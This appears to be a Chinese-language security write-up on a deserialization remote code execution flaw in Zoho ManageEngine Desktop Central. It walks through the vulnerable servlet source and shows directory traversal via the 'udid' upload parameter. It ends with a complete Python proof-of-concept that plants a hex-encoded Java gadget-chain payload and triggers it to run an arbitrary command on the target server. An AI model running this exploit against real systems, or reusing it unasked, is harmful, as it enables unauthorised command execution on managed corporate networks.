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Zoho企业的产品Zoho ManageEngine Desktop Central是Windows系统上运行的一种端点管理解决方案，可被用于管理网络设备，例如手机、Linux服务器、Windows工作站等，发挥推送更新、控制访问权限的功能。
今年，安全人员 steventseeley 发现此产品存在反序列化RCE漏洞。核心利用方式是控制udid和filename参数达到改变待上传、嵌入恶意指令的已序列化文件路径和类型的目标，便于在访问此文件时通过反序列化方式读取文件内容，从而触发恶意代码执行。
Zoho ManageEngine Desktop Central
version< 10.0.473
version>=10.0.479
Windows 7（安装Zoho ManageEngine Desktop Central 10.0.465 x64版本的服务器）
Windows 10（攻击机）
Python2.7
需要确定此产品的序列化和反序列化位置，以便传递序列化的恶意文件，并通过反序列化触发恶意代码执行。
首先确定反序列化位置。发现CewolfServlet应用功能包含反序列化功能，开展具体分析。进入WEB服务目录DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/，打开web.xml 文件，发现名为 CewolfServlet 的 servlet，如下。
CewolfServlet de.laures.cewolf.CewolfRenderer debug false overliburl /js/overlib.js storage de.laures.cewolf.storage.FileStorage 1
分析可知，此 servlet 涉及的类是 de.laures.cewolf.CewolfRenderer
(所在jar包是DesktopCentral_Server/lib/cewolf-1.2.4.jar)，初始化的 java 文件有de.laures.cewolf.storage.FileStorage。进入de.laures.cewolf.CewolfRenderer 类开展分析，如下。
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
if (debugged) {
this.logRequest(request);
}
this.addHeaders(response);
if (request.getParameter("state") == null && request.getParameterNames().hasMoreElements()) {
int width = 400;
int height = 400;
boolean removeAfterRendering = false;
if (request.getParameter("removeAfterRendering") != null) {
removeAfterRendering = true;
}
if (request.getParameter("width") != null) {
width = Integer.parseInt(request.getParameter("width"));
}
if (request.getParameter("height") != null) {
height = Integer.parseInt(request.getParameter("height"));
}
if (!renderingEnabled) {
this.renderNotEnabled(response, 400, 50);
} else if (width <= this.config.getMaxImageWidth() && height <= this.config.getMaxImageHeight()) {
// 可控的输入参数
String imgKey = request.getParameter("img");
if (imgKey == null) {
this.logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height);
} else {
Storage storage = this.config.getStorage();
// 调用getChartImage函数
ChartImage chartImage = storage.getChartImage(imgKey, request);
if (chartImage == null) {
this.renderImageExpiry(response, 400, 50);
} else {
requestCount.incrementAndGet();
try {
long start = System.currentTimeMillis();
int size = chartImage.getSize();
response.setContentType(chartImage.getMimeType());
response.setContentLength(size);
response.setBufferSize(size);
response.setStatus(200);
response.getOutputStream().write(chartImage.getBytes());
long last = System.currentTimeMillis() - start;
if (debugged) {
this.log("creation time for chart " + imgKey + ": " + last + "ms.");
}
} catch (Throwable var22) {
this.logAndRenderException(var22, response, width, height);
} finally {
if (removeAfterRendering) {
try {
storage.removeChartImage(imgKey, request);
} catch (CewolfException var21) {
this.log("Removal of image failed", var21);
}
}
}
}
}
} else {
this.renderImageTooLarge(response, 400, 50);
}
} else {
this.requestState(response);
}
}分析可知，img 是可控的参数，且会被 getChartImage 方法调用，此方法属于初始的参数文件 de.laures.cewolf.storage.FileStorage，如下。
public ChartImage getChartImage(String id, HttpServletRequest request) {
ChartImage res = null;
ObjectInputStream ois = null;
try {
// 根据“img”参数读取对应的文件
ois = new ObjectInputStream(new FileInputStream(this.getFileName(id)));
// 反序列化位置
res = (ChartImage)ois.readObject();
ois.close();
} catch (Exception var15) {
var15.printStackTrace();
} finally {
if (ois != null) {
try {
ois.close();
} catch (IOException var14) {
var14.printStackTrace();
}
}
}
return res;
}
private String getFileName(String id) {
// 修改了路径信息
return this.basePath + "_chart" + id;
}分析可知，此方法包含反序列化功能，调用 getFileName 方法修改了存储路径信息。
总结一下，读取文件时，需要注意文件被保存至包含 “_chart” 字段的路径中。
现在确定序列化的位置。在 web.xml 中找到一个上传功能的 servlet，如下。
MDMLogUploaderServlet com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet
进入 com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet 类中，关键部分如下。
public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException {
Reader reader = null;
PrintWriter printWriter = null;
this.logger.log(Level.WARNING, "Received Log from agent");
Long nDataLength = (long)request.getContentLength();
this.logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength);
this.logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", this.acceptedLogSize);
try {
if (nDataLength <= this.acceptedLogSize) {
String initiatedBy = request.getParameter("initiatedBy");
// 可控的参数
String udid = request.getParameter("udid");
String platform = request.getParameter("platform");
// 可控的参数
String fileName = request.getParameter("filename");
HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);
if (deviceMap != null) {
this.customerID = (Long)deviceMap.get("CUSTOMER_ID");
this.deviceName = (String)deviceMap.get("MANAGEDDEVICEEXTN.NAME");
this.domainName = (String)deviceMap.get("DOMAIN_NETBIOS_NAME");
this.resourceID = (Long)deviceMap.get("RESOURCE_ID");
this.platformType = (Integer)deviceMap.get("PLATFORM_TYPE");
} else {
this.customerID = 0L;
this.deviceName = "default";
this.domainName = "default";
}
if (initiatedBy != null && initiatedBy.equals(this.fromUser)) {
JSONObject jsonObject = new JSONObject(request.getParameter("extraData"));
String issueType = jsonObject.getString("IssueType");
String issueDescription = jsonObject.getString("IssueDescription");
String fromAddress = jsonObject.getString("EmailId");
String outputFileName = MDMApiFactoryProvider.getMdmCompressAPI().getSupportFileName() + ".zip";
String toAddress = ProductUrlLoader.getInstance().getValue("supportmailid");
String ticketID = jsonObject.getString("TicketId");
ticketID = ticketID.trim().equals("") ? "NA" : ticketID.trim();
Boolean status = this.downloadUserSupportFile(fileName, udid, request, response);
if (status) {
status = this.zipProcess(fileName, outputFileName, udid, request, response);
}
if (status) {
this.doUpload(outputFileName, fromAddress, toAddress, issueType, issueDescription, ticketID);
}
File resourceDir = new File(ApiFactoryProvider.getUtilAccessAPI().getServerHome() + File.separator + "logsFromUser" + File.separator + this.resourceID);
if (resourceDir.exists()) {
FileUtils.deleteDirectory(resourceDir);
}
if (!status) {
this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload due to failure to download/zipping/upload issue");
response.sendError(403, "Request Refused");
}
return;
}
if (CustomerInfoUtil.getInstance().isSAS()) {
this.downloadSupportFileCloud(fileName, udid, request, response);
} else {
this.downloadSupportFile(fileName, udid, request, response);
}
SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();
supportFileCreation.incrementMDMLogUploadCount();
JSONObject deviceDetails = new JSONObject();
deviceDetails.put("platform_type_id", this.platformType);
deviceDetails.put("device_id", this.resourceID);
deviceDetails.put("device_name", this.deviceName);
supportFileCreation.removeDeviceFromList(deviceDetails);
if (CustomerInfoUtil.getInstance().isSAS()) {
GroupEventNotifier.getInstance().actionCompleted(Long.parseLong(String.valueOf(this.resourceID)), "MDM_AGENT_LOG_UPLOAD");
}
return;
}
this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength);
response.sendError(403, "Request Refused");
} catch (Exception var30) {
this.logger.log(Level.WARNING, "Exception ", var30);
return;
} finally {
if (reader != null) {
try {
((Reader)reader).close();
} catch (Exception var29) {
var29.fillInStackTrace();
}
}
}
}
public void downloadSupportFile(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception {
String baseDir = System.getProperty("server.home");
this.deviceName = this.removeInvalidCharactersInFileName(this.deviceName);
// udid参数值参与到文件保存路径的拼接任务中
String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;
File file = new File(localDirToStore);
if (!file.exists()) {
file.mkdirs();
}
this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});
fileName = fileName.toLowerCase();
// 单纯对filename参数信息进行约束，允许后缀是“log|txt|zip|7z”
if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) {
this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName);
response.sendError(403, "Request Refused");
} else {
String absoluteFileName = localDirToStore + File.separator + fileName;
this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});
InputStream in = null;
FileOutputStream fout = null;
try {
in = request.getInputStream();
fout = new FileOutputStream(absoluteFileName);
byte[] bytes = new byte[10000];
int i;
while((i = in.read(bytes)) != -1) {
fout.write(bytes, 0, i);
}
fout.flush();
} catch (Exception var16) {
var16.printStackTrace();
} finally {
if (fout != null) {
fout.close();
}
if (in != null) {
in.close();
}
}
}
}
public void downloadSupportFileCloud(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception {
String cloudBaseDir = "support";
// udid参数值参与到文件保存路径的拼接任务中
String dfsDirToStore = cloudBaseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;
this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{dfsDirToStore});
fileName = fileName.toLowerCase();
if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) {
this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
response.sendError(403, "Request Refused");
} else {
String absoluteFileName = dfsDirToStore + File.separator + fileName;
this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});
InputStream in = null;
OutputStream fout = ApiFactoryProvider.getFileAccessAPI().writeFile(absoluteFileName);
try {
in = request.getInputStream();
byte[] bytes = new byte[10000];
int i;
while((i = in.read(bytes)) != -1) {
fout.write(bytes, 0, i);
}
fout.flush();
} catch (Exception var15) {
this.logger.log(Level.SEVERE, "Error : " + var15);
} finally {
if (in != null) {
in.close();
}
if (fout != null) {
fout.close();
}
}
}
}结合注释分析可知，存在可控的 udid 参数和 filename 参数，共同参与到文件的上传路径组建工作中。Udid 没有任何约束条件。filename 的约束条件核心代码如下。
public static boolean hasVulner Udid 没有过来约束条件 abilityInFileName(String fileName, String allowedFileExt) {
return isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt);
}
//参数是否是合法的后缀
public static boolean isValidFileExtension(String fileName, String fileExtPattern) {
if (fileName.indexOf("\u0000") != -1) {
fileName = fileName.substring(0, fileName.indexOf("\u0000"));
}
fileExtPattern = fileExtPattern.replaceAll("\\s+", "").toLowerCase();
String regexFileExtensionPattern = "([^\\s]+(\\.(?i)(" + fileExtPattern + "))$)";
Pattern pattern = Pattern.compile(regexFileExtensionPattern);
Matcher matcher = pattern.matcher(fileName.toLowerCase());
return matcher.matches();
}
//参数是否存在目录穿越风险
private static boolean isContainDirectoryTraversal(String fileName) {
return fileName.contains("/") || fileName.contains("\\");
}
//参数是否是绝对值路径
private static boolean isCompletePath(String fileName) {
String regexFileExtensionPattern = "([a-zA-Z]:[\\ \\\\ / //].*)";
Pattern pattern = Pattern.compile(regexFileExtensionPattern);
Matcher matcher = pattern.matcher(fileName);
return matcher.matches();
}
分析可知，filename 存在扩展名、目录验证等约束条件，且限制名称只能是 “logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip”，所以将关键的目录篡改配置存储于udid中。
综上，在序列化上传过程中，可设置 udid 为aaa\..\..\..\webapps\DesktopCentral\_chart，filename为 logger.zip，从而绕过当前所有约束条件。
观察可知服务端存在 commons-collections.jar(3.1)、commons-beanutils-1.8.0.jar，因此可利用对应的反序列化功能完成漏洞利用任务。
POC及注释信息如下：
#!/usr/bin/env python3
import os
import sys
import struct
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def _get_payload(c):
p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
p += "0300000001000f00380000000000010015001600010000000100170018000200"
p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
p += "2100020003000100040001001a00050006000100070000000200080001000100"
p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
p += "0002001400110000000a000100020016001000097074000450776e7270770100"
p += "7871007e000d78"
obj = bytearray(bytes.fromhex(p))
obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
start = obj[:0x6e7]
end = obj[0x6e7:]
return start + str.encode(c) + end
def we_can_plant_serialized(t, c):
# stage 1 - traversal file write primitive
uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
p = {
"udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart", # 目录穿越
"filename" : "logger.zip"
}
h = { "Content-Type" : "application/octet-stream" } # 表示二进制类型数据，适用于未知的数据
# 序列化的待执行代码
d = _get_payload(c)
r = requests.post(uri, params=p, data=d, verify=False)
if r.status_code == 200:
return True
return False
def we_can_execute_cmd(t):
# stage 2 - deserialization
uri = "https://%s:8383/cewolf/" % t
p = { "img" : "\\logger.zip" }
r = requests.get(uri, params=p, verify=False)
if r.status_code == 200:
return True
return False
def main():
if len(sys.argv) != 3:
print("(+) usage: %s " % sys.argv[0])
print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
c = sys.argv[2]
if we_can_plant_serialized(t, c):
print("(+) planted our serialized payload")
if we_can_execute_cmd(t):
print("(+) executed: %s" % c)
if __name__ == "__main__":
main() 执行脚本命令 python 服务端ip calc，在服务端命令行输入
tasklist | findestr “calc”
出现如下结果，说明漏洞利用成功。
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